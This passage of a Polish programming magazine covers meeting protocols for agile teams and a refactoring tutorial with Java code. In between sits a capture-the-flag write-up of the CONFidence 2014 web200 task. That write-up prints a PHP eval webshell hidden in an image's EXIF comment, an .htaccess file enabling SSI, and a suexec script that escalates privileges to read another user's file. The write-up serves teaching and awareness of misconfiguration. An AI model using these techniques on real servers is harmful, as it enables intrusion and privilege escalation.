Ograniczenia czasowe mogą być stosunkowo radykalną techniką dla wielu 

zespołów. Warto spojrzeć na nie jako na ćwiczenie, uczące efektywnego wy-
korzystania czasu. Podobnie jak w przypadku ćwiczeń fizycznych brak ogra-
niczeń czasowych powoduje rozleniwienie się zespołu i spadek efektywności.

Rozwiązanie: Protokoły Decider oraz Resolution

W zespołach zwinnych podjęcie decyzji jest często skomplikowane z 

uwagi na demokratyczny charakter. Wielokrotnie spotkałem się z sytuacja-
mi impasu, gdzie zespół traci cenne godziny, próbując osiągnąć consensus. 
Najlepszym rozwiązanie problemu jest wprowadzenie metody, która pozwala 
szybko ocenić stanowiska uczestników.

Tu z pomocą przychodzi protokół Decider. Jedna z osób powinna za-

proponować rozwiązanie sytuacji impasu. Pozostali podejmują decyzję, czy 
zgadzają się z propozycją, odpowiadając „Tak”, „Nie”, „Nie mam zdania” lub 
„Zdecydowanie nie”. Decyzja zostaje podjęta większością głosów, chyba że co 
najmniej jeden z uczestników głosował jako „Zdecydowanie nie”, które ozna-
cza „Nie” całego zespołu.

Jeśli osoba proponująca rozwiązanie jest niezadowolona z wyniku głoso-

wania (ponieważ propozycja została odrzucona), może zastosować protokół 
Resolution. W ramach niego zadaje pytanie każdemu z głosujących na „Nie”, 

background image

68

/ 6 

. 2014 . (25)  /

LABORATORIUM BOTTEGA

co mogłoby zmienić ich decyzję. Jeśli jest możliwe zmienić propozycję, tak 
aby uzyskać głosy większości, propozycję uznaje się za przyjętą. W przeciw-
nym przypadku należy zakończyć dyskusję i przejść do omawiania kolejnego 
tematu. Osoby niezadowolone z jej wyniku mogą próbować „lobbować” swo-
je pomysły już po zakończonym spotkaniu.

Problem: Burze emocjonalne

W wielu zespołach emocje to temat rzadko poruszany w kontekście pracy. W 
międzyczasie w kwestii emocji mamy do czynienia z dwoma problematycz-
nymi sytuacjami. Po pierwsze, jeśli jeden z uczestników jest pod wpływem 
silnych emocji, np. zdenerwowanie szefa może skutecznie zaprzepaścić całe 
spotkanie. Po drugie, uczestnicy będący pod wpływem negatywnych emocji 
mają ograniczone umiejętności logicznego myślenia (o czym pisałem w po-
przednich częściach serii).

Rozwiązanie: Protokoły Check in oraz Pass

Protokół  Check in pozwala zrozumieć konteks emocjonalny każdego z 

uczestników spotkania. Wymaga on, żeby każdy z uczestników przed rozpo-
częciem spotkania zadeklarował swoje emocje poprzez wybranie co najmniej 
spośród listy czterech: zły, smutny, zadowolony, obawiający się (ang. madsad, 
gladafraid). Opcjonalnie może podać krótki kontekst do podanej przez siebie 
emocji. Dzięki temu wszyscy uczestnicy spotkania dostają czytelny kontekst 
emocji innych na początku spotkania, i mogą skuteczniej reagować na komu-
nikaty innych.

Wspomnę również, że protokół Check in można także stosować w sytu-

acji, kiedy „jesteś myślami gdzie indziej”, np. zostałeś oderwany od pisania 
skomplikowanego algorytmu. Możesz wtedy powiedzieć, że obawiasz się, po-
nieważ Twoje rozkojarzenie może nie pozwolić Ci na efektywne uczestnictwo 
w spotkaniu.

W przypadku jeśli w ogóle nie możesz, bądź nie chcesz, uczestniczyć w 

spotkaniu, powinieneś zastosować protokół Pass. Pozwala on całkowicie zre-
zygnować z uczestnictwa w spotkaniu. Osobiście uważam, że obecność takie-
go protokołu może pomóc wielu zespołom, gdzie istnieje niepisana reguła 
obowiązku uczestnictwa w każdym spotkaniu. Oczywiście, należy uważać, 
żeby tego protokołu nie nadużywać.

METODY NIEKONWENCJONALNE

Oprócz opisanych wyżej metod, zdarza mi się stosować również techniki, któ-
re mogą wydawać się niestandardowe w kontekście pracy. Dwie najważniej-
sze to medytacja oraz proste ćwiczenia fizyczne.

Medytacja pozwala na uspokojenie emocji oraz uporządkowanie myśli 

przed rozpoczęciem spotkania. Programista oderwany od klawiatury wciąż 
myśli bardzo logicznie i dopóki nie „przełączy kontekstu” ma obniżoną inteli-
gencję społeczną. Medytacja może być stosowana nawet przez kompletnego 
laika oraz jest metodą zweryfikowaną naukowo, co przemawia na jej korzyść. 
Warto wiedzieć, że jest fundamentem programu rozwoju liderów Search Insi-
de Yourself w firmie Google od 2008 roku.

Proste ćwiczenia fizyczne takie jak wspólne ziewanie oraz przeciąganie się 

pozwalają na dotlenienie mózgu i mogą się okazać zbawienne dla powodze-
nia poobiednich spotkań. W przypadku spotkań odbywających się pod ko-
niec dnia można rozważyć przeprowadzenie go w całości na stojąco.

WPŁYW OSOBOWOŚCI

Organizacja efektywnego spotkania wymaga wzięcia pod uwagę osobowości 
jego uczestników. Należy przykładowo pamiętać, że niektóre osoby wyrażają 
swoje opinie od samego początku spotkania, podczas gdy inni preferują do-
brze zrozumieć jego kontekst, aby wypowiedzieć swoje zdanie. Dobrze jest, 
jeśli strażnik spotkania zna preferencje uczestników, bądź potrafi szybko je 
wychwycić – w ten sposób może dopasować spotkanie do potrzeb grupy. Po-
niżej przedstawię 3 przykładowe (celowo przejaskrawione) typy osobowości, 
zwracając uwagę na to, że każda z nich ma zarówno słabe, jak i mocne strony.

Gaduła

Gaduła to uczestnik, który już od samego początku wyraża swoją opinię. Ma 
zdanie na każdy temat poruszany na spotkaniu. Oczywistym problemem w 
tym przypadku jest łatwość, z jaką potrafi zdominować spotkanie, i często 
zanudzić innych uczestników, którzy nie mogą dojść do głosu. Jego mocną 
stroną jest „rozkręcanie” spotkania oraz utrzymywanie wysokiej energii – jest 
w stanie ciągle dostarczać nowych informacji oraz przemyśleń. 

Mistrz dygresji

Mistrz dygresji ciągle rozpoczyna nowe wątki podczas dyskusji, przez co po-
trafi łatwo zdestabilizować spotkanie. Z drugiej strony jest nieoceniony pod-
czas sesji brainstormingu. Ma również duży talent do generowania nowych 
pomysłów oraz pomaga zespołowi spojrzeć na omawiane tematy z różnych 
perspektyw.

Cichy obserwator

Cichy obserwator nigdy nie wyraża swojej opinii w pierwszej połowie spotka-
nia, a czasem nie odzywa się w ogóle. Przedstawiciel tego typu osobowości 
nie zakłóca spotkania, jak w przypadkach opisanych wyżej, więc łatwo o nim 
zapomnieć. Należy jednak pamiętać, że osoba, która nie mówi, często uważ-
nie słucha. Cichy obserwator zdarza się być nieprzeciętnym słuchaczem, a za-
pytany o zdanie może dostarczyć uczestnikom wnikliwych obserwacji.

PODSUMOWANIE

W tym artykule opisałem typowe problemy nieefektywnych spotkań oraz 
zaproponowałem techniki, które pomagają je rozwiązać. Chcę zauważyć, 
że przedstawione metody są w istocie proste i możliwe do wprowadzenia 
od ręki. Warto zwrócić uwagę, że większość z prezentowanych przeze mnie 
rozwiązań ma również dodatkowe zalety. Framework 7P pozwala na lepsze 
poznanie procesu, zwłaszcza w kontekście spotkań cyklicznych, które są jego 
częścią. Wykorzystanie Podstawowych Protokołów da szanse na zwiększenie 
skuteczności komunikacji w zespole. Obecność strażników spotkań z innych 
zespołów spowoduje wymianę wiedzy oraz umiejętności w ramach firmy.

Paweł Badeński

pawel.badenski@gmail.com

Do niedawna konsultant w firmie ThoughtWorks, gdzie pracował jako programista, trener 
oraz coach. Obecnie trener i konsultant w firmie Bottega IT Solutions. Bloguje pod adresem 

http://the-missing-link-of-agile.com

. Pasjonat improwizacji teatralnej, psychologii stosowa-

nej i neurobiologii oraz ich zastosowania w kontekście tworzenia oprogramowania. 

background image
background image

70

/ 6 

. 2014 . (25)  /

STREFA CTF

Krzysztof "vnd" Katowicz-Kowalewski

CTF

CONFidence DS CTF 2014 (Offline)

https://ctf.dragonsector.pl/
http://files.dragonsector.pl/2014/confidence/main/

Liczba uczestników
(z niezerową liczbą punktów)

11

System punktacji zadań

Od 50 (proste) do 200 (średnio-trudne) punktów.

Liczba zadań

17

Podium

1. liub (1078 pkt.)
2. dcua (1078 pkt.)
3. 4c...80fd Sector (500 pkt.)

O CTFIE

W tym wydaniu magazynu „Programista” opiszemy organizowane przez nas 
zawody, które odbyły się podczas konferencji CONFidence pod koniec maja 
tego roku. Skąd ten wybór? W numerze tym chcielibyśmy przedstawić Wam 
nie tylko sposób rozwiązania wybranego zadania, ale również z naszej per-
spektywy to, co działo się za kulisami, czyli jak doszło do stworzenia opisywa-
nego zadania oraz jakie po drodze napotkaliśmy trudności i wyzwania.

Zdobyć flagę…

CONFidence DS CTF 2014 – web200

Średnio co około dwa tygodnie gdzieś na świecie odbywają się komputerowe Cap-
ture The Flag – zawody, podczas których kilku-, kilkunastoosobowe drużyny stara-
ją się rozwiązać jak najwięcej technicznych zadań z różnych dziedzin informatyki: 
kryptografii, steganografii, programowania, informatyki śledczej, bezpieczeństwa 
aplikacji internetowych itd. W serii „Zdobyć flagę…“ co miesiąc publikujemy wybra-
ne zadanie pochodzące z jednego z minionych CTFów wraz z jego rozwiązaniem.

WEB200

W części zadań z kategorii web - szczególnie wysoko punktowanych - moż-
na zauważyć pewien schemat: uczestnik powinien obejść zabezpieczenia 
strony internetowej, ściągnąć plik z programem wykonywanym przez CGI, 
dowiedzieć się, co on robi, a następnie znaleźć błąd i go wykorzystać. W kon-
sekwencji dostajemy więc pewnego rodzaju hybrydę kategorii webreverse-
-engineering 
pwn. Organizując zawody CTF podczas konferencji CONFidence, 

background image

71

/ www.programistamag.pl /

ZDOBYĆ FLAGĘ… CONFIDENCE DS CTF 2014 – WEB200

chcieliśmy nieco zerwać z tym schematem i stworzyć zadanie, które odno-
siłoby się jedynie do jednej kategorii – w tym wypadku do bezpieczeństwa 
aplikacji webowych. Aby nie stworzyć zadania zbyt łatwego, postanowiliśmy 
podzielić je na dwie części, tak aby każda część wymagała od gracza nieco 
innego podejścia. 

Jeśli chcecie spróbować własnych sił i rozwiązać zadanie bez wcześniej-

szego przeczytania solucji, możecie pobrać dysk maszyny wirtualnej, na której 
oryginalnie było hostowane zadanie: 

http://files.dragonsector.pl/2014/confidence/main/web200.qcow

Po uruchomieniu systemu powinien on pobrać adres IP z serwera DHCP, jeśli 
jednak będziecie zmuszeni ręcznie zmodyfikować ustawienia sieciowe, może-
cie zalogować się do systemu przy pomocy loginu i hasła „root”. Oryginalnie 
gracze nie mieli jednak możliwości zalogowania się do systemu i przedstawio-
ne tutaj dane powinny być używane jedynie w celu rozwiązywania proble-
mów z konfiguracją maszyny wirtualnej.

CZĘŚĆ I – UZYSKANIE DOSTĘPU DO 

SERWERA

Link umieszczony w treści zadania (

http://letterpress.local

kierował nas na 

stronę wirtualnej, nowo powstałej gazety o nazwie LetterPress. Z informacji, 
które udało nam się tam wyczytać, wynikało, że redakcja wykupiła hosting na 
bardzo bezpiecznym serwerze, a sama strona powstała niedawno i cały czas 
trwają pracę nad jej wyglądem i treścią. Z rzeczy, które rzucały się w oczy, moż-
na wymienić niedziałający panel logowania i kilka zakładek, m.in. z newsami, 
notką o gazecie i informacją o rekrutacji. Ze wszystkich tych rzeczy największą 
uwagę powinna zwracać na siebie właśnie wzmianka o rekrutacji, gdzie byli-
śmy w stanie przesłać swój adres e-mail i zdjęcie (wedle którego mielibyśmy 
zostać wybrani do rozmowy kwalifikacyjnej). Po przesłaniu zdjęcia i podaniu 
e-maila otrzymywaliśmy link podobny do następującego:

http://letterpress.local/uploads.

php?path=jrepzzo4d033jdxhi1w9bzmfkzr3ahjk/your@address.net

Jak łatwo można było się domyślić, zdjęcie, które przesyłaliśmy, znajdowało 
się gdzieś na serwerze - jeśli bylibyśmy w stanie umieścić w nim kod PHP i 
przekonać serwer Apache, aby go wykonał, zyskalibyśmy dostęp do wyko-
nywania dowolnych poleceń. Jedyny problem w tym momencie stanowiło 
„domyślenie się”, w jakim katalogu znajdują się pliki użytkowników. Większość 
osób nie miało jednak z tym problemu i sprawdzało plik robots.txt:

User-agent: *

Disallow: /client-data/

Wiedząc o ukrytym folderze „client-data”, nietrudno było wpaść na pomysł, że 
do wgranego przed chwilą pliku możemy odwołać się bezpośrednio:

http://letterpress.local/client-data/

jrepzzo4d033jdxhi1w9bzmfkzr3ahjk/your@address.net

O ile skrypt uploads.php prezentował wgrane przez nas pliki jako plik obrazów 
i dostarczał je w dokładnie takiej samej postaci, w jakiej zostały one wgrane, 
tak sam serwer Apache po przejściu na bezpośrednią lokalizację pliku spraw-
dzał jego rozszerzenie i w momencie, kiedy było ono związane z dynamiczną 
akcją, uruchamiał odpowiedni interpreter. W ten sposób, wgrywając plik JPEG 
z komentarzem EXIF: 

<?php eval($_GET[0]); ?>, byliśmy w stanie uru-

chomić po stronie serwera dowolne polecenie.

CZĘŚĆ II – REKONESANS SYSTEMU 

I ESKALACJA UPRAWNIEŃ

Jak pewnie zauważyliście, pierwsza część zadania nie powinna stanowić więk-
szego problemu dla osób znających podstawowe podatności stron interne-
towych. Prawdziwym wyzwaniem w tym zadaniu było odczytanie flagi, która 
znajdowała się na innym virtual hoście i pod kontrolą innego użytkownika niż 
ten, do którego mieliśmy dostęp. Zaraz po tym, jak uzyskaliśmy możliwość 
wykonywania dowolnych poleceń, mogliśmy się zorientować, że jedyną rze-
czą dzielącą nas od flagi jest hasz SHA-256, który był sprawdzany po stronie 
serwera w panelu logowania. Widać to bardzo dobrze na listingu poniżej:

<?php

function

 auth

(

$login

,

 

$password

)

{

if

 

(!

is_string

(

$login

)

 

||

 

preg_match

(

"

/

^[

a

-

zA

-

Z0

-

9

]+$

/

"

,

 

$login

)

 

!==

 

1

)

return

 

false

;

if

 

(!

is_string

(

$password

)

 

||

 

preg_match

(

"

/

^[

a

-

zA

-

Z0

-

9

]+$

/

"

,

 

$password

)

 

!==

 

1

)

return

 

false

;

return

 

(

$login

 

===

 

"owner"

)

 

&&

 

(

hash

(

"sha256"

,

 

$password

)

 

===

 

"72041376c9cf38150e0031e73fa2ec46e92729a172628b4efae9866c82221487"

)

;

}

if

 

(

isset

(

$_POST

[

"login"

],

 

$_POST

[

"password"

])

 

&&

 auth

(

$_

POST

[

"login"

],

 

$_POST

[

"password"

]))

 

{

echo

 

file_get_contents

(

"/var/www/your-secure-hosting.local/flag.txt"

)

;

}

?>

Jednak łatwo można było się domyślić, że nie na tym polegała trudność tego za-
dania. Łamanie skrótów haseł nie jest nigdy niczym przyjemnym na zawodach 
tego typu, głównie dlatego, że mało istotne staje się doświadczenie i wiedza gra-
cza, a dużą większą rolę odgrywa moc obliczeniowa jego sprzętu. Aby więc dać 
wszystkim graczom równe szanse, postanowiliśmy ustawić hasło administratora 

reklama

background image

72

/ 6 

. 2014 . (25)  /

STREFA CTF

na losowy 256-znakowy ciąg znaków – oczywiście, jeśli komuś udałoby się zna-
leźć kolizję i pasujące hasło, to bez wątpienia gracz ten zasługiwałby na nagrodę 
w postaci 200 punktów (choć oczywiście znalezienie takiego hasła było równie 
prawdodopodobne co trafienie szóstki w Lotto, i to 10 razy pod rząd).

Skrypt PHP, który sprawdzał hasło, posiadał odpowiednie uprawnienia, po-

nieważ był uruchamiany przez proces Apache i dzięki mechanizmowi suPHP 
użytkownikiem, na prawach którego wykonywał się interpreter, był „hosting”. 
Mając jednak dostęp do konta „letterpress”, nie bylibyśmy w stanie uruchomić 
ani suPHP, ani suEXEC. Celowo zakomentowane linie w plikach konfiguracyj-
nych Apache oraz pozostawione wykonywalne pliki o nazwie „php-fcgi-star-
ter” miały naprowadzić graczy na to, że to właśnie suPHP/suEXEC jest słabym 
punktem całego systemu. Gdybyśmy byli w stanie uruchomić dowolny plik 
użytkownika „hosting”, jako skrypt, PHP moglibyśmy przeczytać flagę - flag.txt 
jest w końcu zwykłym plikiem tekstowym. Można się tego domyślić zarówno 
po rozszerzeniu, jak i po tym, że do jego wyświetlania używana jest funkcja 
file_get_contents. Jeśli więc podamy ten plik do wykonania interpretero-
wi PHP, to otrzymamy jego dokładną zawartość.

EKSPLOITACJA SUPHP/SUEXEC

Podstawowym problemem jest więc uruchomienie suEXEC lub suPHP z po-
ziomu użytkownika „letterpress”. W tym opisie skupimy się głównie na rozwią-
zaniu z wykorzystaniem suEXEC + SSI – tworząc wzorcowe rozwiązanie zada-
nia, spodziewaliśmy się, że to ono będzie najprostsze w implementacji. Jeśli 
spojrzymy na źródła suEXEC, możemy się przekonać, że wywołanie skryptu 
nie jest bezpośrednio możliwe. Jedynie skonfigurowany przy instalacji użyt-
kownik ma możliwość wydawania poleceń programowi /usr/lib/apache2/
suexec i domyślnie jest nim „www-data”. Pozostając przy pomyśle wykorzy-
stania suEXEC w celu przeczytania flagi, możemy zadać sobie pytanie – w jaki 
sposób możemy wykonać komendę z poziomu Apache? Odpowiedź jest roz-
wiązaniem całej zagadki, a z logów, które przeglądaliśmy, to właśnie ten ele-
ment przysporzył graczom najwięcej problemów. Kluczem jest wykorzysta-
nie wewnętrznych mechanizmów serwera Apache. Gdy zbadamy dokładniej 
konfigurację virtual hosta, do którego mamy dostęp, zobaczymy, że parametr 

AllowOverride“ nie jest w ogóle zdefiniowany – oznacza to, że posiada on 

domyślną wartość „

All“. Parametr ten jest ustawiany w plikach konfiguracyj-

nych głównie po to, aby niemożliwe było nadpisanie konfiguracji serwera. 
Wykorzystując zaistniałą sytuację, możemy stworzyć własny plik .htaccess 
i wykorzystać skrypty SSI, które są wykonywane na prawach użytkownika 
„www-data”. W przeciwieństwie do suEXEC, które wykonuje wszystkie moż-
liwe dynamiczne operacje z poziomu zdefiniowanego konta systemowego, 
moduł suPHP – wykorzystywany przez Apache – odnosi się jedynie do skryp-
tów PHP. Plik .htaccess włączający obsługę SSI może wyglądać następująco:

AddType text/html .shtml

AddOutputFilter INCLUDES .shtml

Options All

Równolegle z dodawaniem pliku .htaccess możemy przygotować w stworzo-
nym katalogu skrypt sample.sh, który będzie instruował suEXEC, w jaki sposób 
ma uruchomić plik flag.txt:

#!/bin/sh

export REDIRECT_STATUS="200"

export SCRIPT_FILENAME="/var/www/your-secure-hosting.local/flag.txt"

cd "/var/www/your-secure-hosting.local/"

exec /usr/lib/apache2/suexec-pristine 1001 1001 php-fcgi-starter

Ostatnim elementem po dodaniu .htaccess jest uruchomienie naszego sam-
ple.sh
 z uprawnieniami użytkownika „www-data”. Możemy to zrobić przez 
wspieraną przez SSI komendę 

exec:

<!--#exec cmd="/var/www/letterpress.local/htdocs/client-data/

jrepzzo4d033jdxhi1w9bzmfkzr3ahjk/sample.sh" -->

Po otwarciu tak spreparowanego pliku .shtml poznajemy flagę.

ZA KULISAMI

Tworząc zadanie tego typu, mieliśmy na celu zapewnić graczom możliwie reali-
styczne warunki, w których mógłby zaistnieć błąd. Nie było to jednak tak banal-
ne jak mogło się to na początku wydawać, gdyż poza stworzeniem środowiska 
odwzorowującego rzeczywisty system musieliśmy zapewnić sobie minimalną 
kontrolę nad działaniem systemu i treścią plików hostowanych przez HTTP. 
Pierwszy problem, jaki pojawił się podczas testów, to użytkownik, do którego 
powinny należeć pliki. Ponieważ użytkownik, na prawach którego wykonywa-
ny był skrypt, musiał być identyczny z właścicielem pliku, to musieliśmy w jakiś 
sposób zabezpieczyć się przed próbą modyfikowania strony przez złośliwych 
graczy. Na szczęście ten problem udało się rozwiązać w prosty sposób poprzez 
dodanie flagi +i (immutable) do każdego pliku i folderu, które powinny pozostać 
niezmienione na czas trwania tego zadania. Pozostał jednak problem folderu 
„client-data", który nie mógł posiadać flagi immutable ze względu na to, że za-
pisywane do niego były pliki użytkowników. Problem nie był krytyczny, mógł 
on sprzyjać jedynie „podejrzeniu” rozwiązanego zadania przez inną osobę. 
Mogliśmy poradzić sobie z tym na wiele różnych sposób – myśleliśmy m. in. 
o podmianie polecenia chmod – co mogło być bez problemu ominięte przez 
wywołanie odpowiedniej funkcji w PHP lub bezpośrednie wywołanie binarne-
go kodu. W grę wchodziło również wykorzystanie patcha na syscall chmod lub 
użycie MAC (Mandatory Access Control, np. SELinux) i stworzenie polityki bez-
pieczeństwa, która uniemożliwiałaby poznanie folderów innych użytkowników. 
Żaden z tych sposobów nie wydał się nam wystarczająco lekki, aby mógł zostać 
zastosowany bez straty w postaci realności zadania, nie chcieliśmy też „celować 
do wróbla z armaty”. Dlatego też postanowiliśmy postawić na dosyć nietypowe 
zagranie, pozostawić ten problem niezabezpieczony i sprawdzić, czy komukol-
wiek uda się wpaść na pomysł dodania praw +r do folderu user-data, tak aby 
był w stanie dostać się do plików innych graczy. Jednak ani w czasie aktywnego 
monitorowania zadania, ani po analizie logów nie udało nam się znaleźć żad-
nych dowodów na to, że ktokolwiek próbował dostawać się do plików współ-
graczy. Mają u nas duży plus za uczciwość! :)

PODSUMOWANIE

Ostatecznie warto wspomnieć, że zadanie warte było 200 punktów i rozwiązała 
je jedna osoba, gratulujemy! Tym opisem chcielibyśmy również przypomnieć, że 
nie zawsze do eskalacji uprawnień na serwerze dochodzi na skutek niskopozio-
mowego błędu jak przepełnienie bufora lub w wyniku sławnych ostatnio sytuacji 
wyścigu – czasami, tak jak w przypadku omówionego w tym artykule błędu, prze-
łamanie zabezpieczeń danego środowiska jest możliwe na skutek błędów konfi-
guracyjnych i niewystarczającej wiedzy administratora. Dlatego też niezmiernie 
istotne jest, aby w momencie wdrażania konkretnych rozwiązań do środowisk 
produkcyjnych być świadomym, jak tak naprawdę one działają i czy na pewno 
w odpowiedni sposób określiliśmy, jak mają się one zachowywać.

Rozwiązania zadania web200 zostały nadesłane przez Dragon Sector  

– jedną z Polskich drużyn CTFowych. 

http://dragonsector.pl/

background image
background image

74

/ 6 

. 2014 . (25)  /

KLUB LIDERA IT

Mariusz Sieraczkiewicz

TAJEMNICA MISTRZÓW 

REFAKTORYZACJI

Zapraszam do zapoznania się z dziesiątą i zarazem ostatnią częścią mojego 
artykułu, w całości poświęconego zagadnieniu refaktoryzacji. Będę kontynu-
ował, rozpoczęty w poprzednim numerze, temat tajemnicy mistrzów refak-
toryzacji oraz przedstawię ostateczne wskazówki, które pomogą Ci komplek-
sowo zrozumieć jej istotę i niezbędność we współczesnym programowaniu.

Kierunek wprowadzania interfejsów

Często spotykałem się z sytuacją, kiedy w systemie powstawał interfejs (np. 
SecurityManager) oraz jedna implementacja (np. SecurityManager-
Impl). Później nie powstawały nowe implementacje. Nie jest to zbyt dobra 
strategia (o ile używana biblioteka lub szkielet aplikacyjny nie wymaga takiej 
konstrukcji). Powoduje ona nadmierne mnożenie bytów, a w konsekwencji 
zaciemnia strukturę projektu.

Interfejsy warto wyodrębniać dopiero wtedy, kiedy rzeczywiście występuje 
więcej niż jedna implementacja.

Inny przykład

Poniżej zamieszczam inną implementację interfejsu 

PageIterator, opartą o 

inny silnik słownika. Proponuję Ci czytelniku napisanie własnej implementacji 
dla wprawy. Najważniejsze, aby realizowała założony interfejs w analogiczny 
sposób, jak ma to miejsce w klasie 

DictPageIterator.

Listing 1. Implementacja interfejsu PageIterator

<java>

package 

pl.bnsit.webdictionary;

import 

java.io.BufferedReader;

import 

java.io.IOException;

import 

java.io.InputStreamReader;

import 

java.net.MalformedURLException;

import 

java.net.URL;

import 

java.util.ArrayList;

import 

java.util.Iterator;

import 

java.util.List;

import 

java.util.regex.Matcher;

import 

java.util.regex.Pattern;

public class 

OnetPageIterator 

implements 

PageIterator {

private 

BufferedReader bufferedReader = 

null;

private 

Iterator <String> wordIterator = 

null;

public 

OnetPageIterator(String wordToFind) {

List <String> words = prepareWordsList(wordToFind);

wordIterator = words.iterator ();

}

Jak całkowicie odmienić sposób pro-

gramowania, używając refaktoryzacji 

(część 10)

Większość programistów wie, co to refaktoryzacja, zna zalety wynikające z jej sto-
sowania, zna również konsekwencje zaniedbywania refaktoryzacji. Jednocześnie 
wielu programistów uważa, że refaktoryzacja to bardzo kosztowny proces, wyma-
ga wysiłku i brak na nią czasu w szybko zmieniających się warunkach biznesowych. 
Zapraszam do kolejnej części artykułu poswięconego zagadnieniu refaktoryzacji. 

@Override

public boolean 

hasNext () {

return 

wordIterator.hasNext ();

}

@Override

public 

String next () {

return 

wordIterator.next ();

}

private 

List <String> prepareWordsList(String wordToFind) {

List <String> result = 

new 

ArrayList <String>();

String urlString = 

"http://portalwiedzy.onet.pl/tlumacz.html?qs="

+ wordToFind + 

"&tr=ang - auto &x =0& y=0"

;

try 

{

bufferedReader = 

new 

BufferedReader (

new 

InputStreamReader (

new 

URL(urlString). openStream ()));

result = extractWords ();

catch(

MalformedURLException e) {

throw new 

WebDictionaryException (e);

catch(

IOException e) {

throw new 

WebDictionaryException (e);

finally 

{

dispose ();

}

return 

result;

}

private boolean 

hasNextLine(String line) {

return(

line != 

null)

;

}

private 

List <String> extractWords () {

List <String> result = 

new 

ArrayList <String>();

try 

{

String line = bufferedReader.readLine ();

Pattern pattern = Pattern

.compile (

".*?<div class = a2b style =\"padding: "

"0px 0 1px 0px\">\\s?(<a href=\".*?\">)?"

"(.*?)(</a>)?&nbsp;.*?<BR>(.*?)</div>.*?"

);

while(

hasNextLine(line)) {

Matcher matcher = pattern.matcher(line);

while(

matcher.find ()) {

String englishWord

new 

String(matcher.group(2).getBytes (),

"ISO -8859 -2 "

);

String polishHTMLFragment

new 

String(matcher.group(4).getBytes (),

"ISO -8859 -2 "

);

List <String> words

= extractTranslation (

englishWord, polishHTMLFragment + 

"<BR>"

);

result.addAll(words);

}

line = bufferedReader.readLine ();

}

catch(

IOException e) {

throw new 

WebDictionaryException (e);

}

background image

75

/ www.programistamag.pl /

JAK CAŁKOWICIE ODMIENIĆ SPOSÓB PROGRAMOWANIA, UŻYWAJĄC REFAKTORYZACJI (CZĘŚĆ 10)

return 

result;

}

private 

List <String> extractTranslation(String englishWord,

String polishHTMLFragment) {

List <String> result = 

new 

ArrayList <String>();

attern pattern = Pattern

.compile (

"(<B>\\d+</B>\\s)?(.*?)<BR>"

);

Matcher matcher = pattern.matcher(polishHTMLFragment);

while(

matcher.find ()) {

String polishWord = matcher.group (2);

result.add(polishWord);

result.add(englishWord);

}

return 

result;

}

private void 

dispose () {

try 

{

if(

bufferedReader != 

null)

 {

bufferedReader.close ();

}

catch(

IOException ex) {

hrow new 

WebDictionaryException (ex);

}

}

}

</java>

Strategia skutecznych programistów: Usuwaj 
powtórzenia

Powtórzenia w kodzie to źródło wszelkiego zła! Jak drobne nie byłoby to po-
wtórzenie, jest duże prawdopodobieństwo, że prędzej czy później ujawnią się 
efekty uboczne. Statystyki oparte na moich własnych obserwacjach prowa-
dzą do wniosku – w około 70% przypadków zastosowanie antywzorca Kopiuj-
-Wklej
 powoduje powstanie trudnych do wykrycia błędów. Dlatego:

Kiedy widzisz powtórzenie, zastanów się, czy warto zrefaktoryzować kod.

Podobnie jest w klasach 

DictPageIterator oraz OnetPageIterator – 

metoda 

dispose, next, hasNext, hasNextLine, konstruktor, pola klasy są 

identyczne lub niemal identyczne i prawdopodobnie w kolejnych implemen-
tacjach również takie będą.

Refaktoryzacja: Wydzielenie klasy 
abstrakcyjnej

Można pokusić się o refaktoryzację Wydzielenia klasy abstrakcyjnej – stworzyć 
klasę, która będzie zawierać wspólne definicje. Znowu chciałbym zwrócić 
uwagę na fakt, iż stworzenie klasy abstrakcyjnej nastąpiło, gdyż pojawiła się 
taka potrzeba w trakcie rozwoju aplikacji. Często spotykam się z przypadkami, 
kiedy takie klasy tworzone są na „w razie czego”, ,,być może w przyszłości się 
przyda'' – niepotrzebnie mnożąc byty. Przykładowy kod znajduje się poniżej.

Listing 2. Przykład wydzielania klasy abstrakcyjnej

<java>

package 

pl.bnsit.webdictionary;

import 

java.io.BufferedReader;

import 

java.io.IOException;

import 

java.util.Iterator;

import 

java.util.List;

abstract public class 

AbstractPageIterator 

implements 

PageIterator 

{

protected 

BufferedReader bufferedReader = 

null;

protected 

Iterator <String> wordIterator = 

null;

public 

AbstractPageIterator () {

super 

();

}

protected void 

init (String wordToFind) {

List <String> words = prepareWordsList (wordToFind);

wordIterator = words.iterator ();

}

abstract protected 

List <String> prepareWordsList (String 

wordToFind);

@Override

public boolean 

hasNext () {

return 

wordIterator.hasNext ();

}

@Override

public 

String next () {

return 

wordIterator.next ();

}

protected boolean 

hasNextLine (String line) {

return 

(line != 

null)

;

}

protected void 

dispose () {

try 

{

if 

(bufferedReader != 

null)

 {

bufferedReader.close ();

}

catch 

(IOException ex) {

throw new 

WebDictionaryException (ex);

}

}

}

</java>

Żeby jednak nie produkować nadmiernej ilości kodu źródłowego, nie będę 
zamieszczał w artykule kodu źródłowego klas dziedziczących z 

Abstract-

PageIterator. Możesz to Czytelniku potraktować jako ćwiczenie.

Najważniejsze odkrycie!

Chciałbym zwrócić twoją uwagę na konstrukcję klasy 

AbstractPage-

Iterator. Wydzielona metoda init realizuje pewien algorytm, którego 
jednym z kroków jest metoda 

prepareWordsList, ta zaś konkretyzuje się 

w klasach odziedziczonych z 

AbstractPageIterator. Jest to nic inne-

go jak realizacja wzorca 

Metody szablonu. Tak! A przecież nic takiego nie 

planowaliśmy.

Konsekwentne stosowanie podstawowych technik refaktoryzacji oraz od-
powiedniego  rozdzielania  odpowiedzialności  prowadzi  do  wzorców  pro-
jektowych!

To odkrycie było jednym z najważniejszym przesunięć paradygmatu

1

 w moim 

życiu programisty. Dotarło do mnie, że duża część wzorców projektowych 
objawia się światu, jeśli stosuje się proste zasady refaktoryzacji i wydzielania 
odpowiedzialności. Wszystko nagle stało się proste, a zasady programowania 
obiektowego nabrały nowego sensu.

Z tą myślą chciałbym Cię czytelniku pozostawić w tym miejscu. Refakto-

ryzacja, wzorce projektowe, testowanie to wspaniałe tematy, które można 
eksplorować całe życie. Przez 10 części tego artykułu przebyliśmy drogę po-
przez krainę refaktoryzacji. Jeśli chcesz eksplorować temat głębiej, zachęcam 
do dalszej lektury książek źródłowych, uczestnictwa w szkoleniach czy trenin-
gach związanych z tym tematem… i używania w praktyce.

Jeśli raz „zarazisz“ się chorobą zwaną refaktoryzacją, nie ma już później 

odwrotu. Gwarantuję, że jest to jedna z najwspanialszych zmian, jaką można 
wprowadzić do sposobu programowania.

Mistrzostwo… zobacz, co się zmieniło

Refaktoryzacja to jedna z technik mistrzów – najlepszych programistów. Im 
